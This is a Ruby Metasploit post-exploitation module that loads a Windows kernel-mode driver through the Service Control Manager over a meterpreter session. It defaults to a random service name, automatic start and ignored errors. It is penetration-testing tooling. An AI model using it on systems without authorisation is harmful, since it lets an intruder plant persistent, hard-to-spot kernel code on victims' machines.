modules/post/windows/manage/driver_loader.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Error
START_TYPE = {
'demand' => 'SERVICE_DEMAND_START',
'boot' => 'SERVICE_BOOT_START',
'auto' => 'SERVICE_AUTO_START',
'disabled' => 'SERVICE_DISABLED',
'system' => 'SERVICE_SYSTEM_START'
}
ERROR_TYPE = {
'critical' => 'SERVICE_ERROR_CRITICAL',
'normal' => 'SERVICE_ERROR_NORMAL',
'severe' => 'SERVICE_ERROR_SEVERE',
'ignore' => 'SERVICE_ERROR_IGNORE'
}
SERVICE_TYPE = {
'kernel' => 'SERVICE_KERNEL_DRIVER',
'file_system' => 'SERVICE_FILE_SYSTEM_DRIVER',
'adapter' => 'SERVICE_ADAPTER',
'recognizer' => 'SERVICE_RECOGNIZER_DRIVER'
}
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Driver Loader',
'Description' => %q{
This module loads a KMD (Kernel Mode Driver) using the Windows Service API.
},
'License' => MSF_LICENSE,
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptString.new('DRIVER_PATH', [true, 'Driver path in %SYSTEMROOT%. Example: c:\\windows\\system32\\msf.sys']),
OptString.new('DRIVER_NAME', [false, 'Driver Name.']),
OptEnum.new('START_TYPE', [true, 'Start type.', 'auto', [ 'boot', 'system', 'auto', 'demand', 'disabled']]),
OptEnum.new('SERVICE_TYPE', [true, 'Service type.', 'kernel', [ 'kernel', 'file_system', 'adapter', 'recognizer']]),
OptEnum.new('ERROR_TYPE', [true, 'Error type.', 'ignore', [ 'ignore', 'normal', 'severe', 'critical']])
]
)
end
def run
driver = datastore['DRIVER_PATH']
start = START_TYPE[datastore['START_TYPE']]
error = ERROR_TYPE[datastore['ERROR_TYPE']]
service = SERVICE_TYPE[datastore['SERVICE_TYPE']]
name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(6..13))) : datastore['DRIVER_NAME']
unless is_admin?
print_error("Administrator or better privileges needed. Try 'getsystem' first.")
return
end
unless driver =~ Regexp.new(Regexp.escape(expand_path('%SYSTEMROOT%')), Regexp::IGNORECASE)
print_error('The driver must be inside %SYSTEMROOT%.')
return
end
unless file_exist?(driver)
print_error("Driver #{driver} does not exist.")
return
end
inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service)
if inst == Windows::Error::SUCCESS
ss = service_start(name)
case ss
when Windows::Error::SUCCESS
print_good('Driver loaded successfully.')
when Windows::Error::SERVICE_ALREADY_RUNNING
print_error('Service already started.')
when Windows::Error::SERVICE_DISABLED
print_error('Service disabled.')
else
print_error('There was an error starting the service.')
end
end
end
def install_driver(name, opts = {})
rc = service_create(name, opts)
if rc == Windows::Error::SUCCESS
print_status("Service object \"#{name}\" added to the Service Control Manager database.")
return true
elsif rc == Windows::Error::SERVICE_EXISTS
print_error('The specified service already exists.')
# Show ImagePath just to know if the service corresponds to the desired driver.
service = service_info(name)
print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.")
else
print_error("There was an error opening the driver handler. GetLastError=#{rc}.")
end
return false
end
end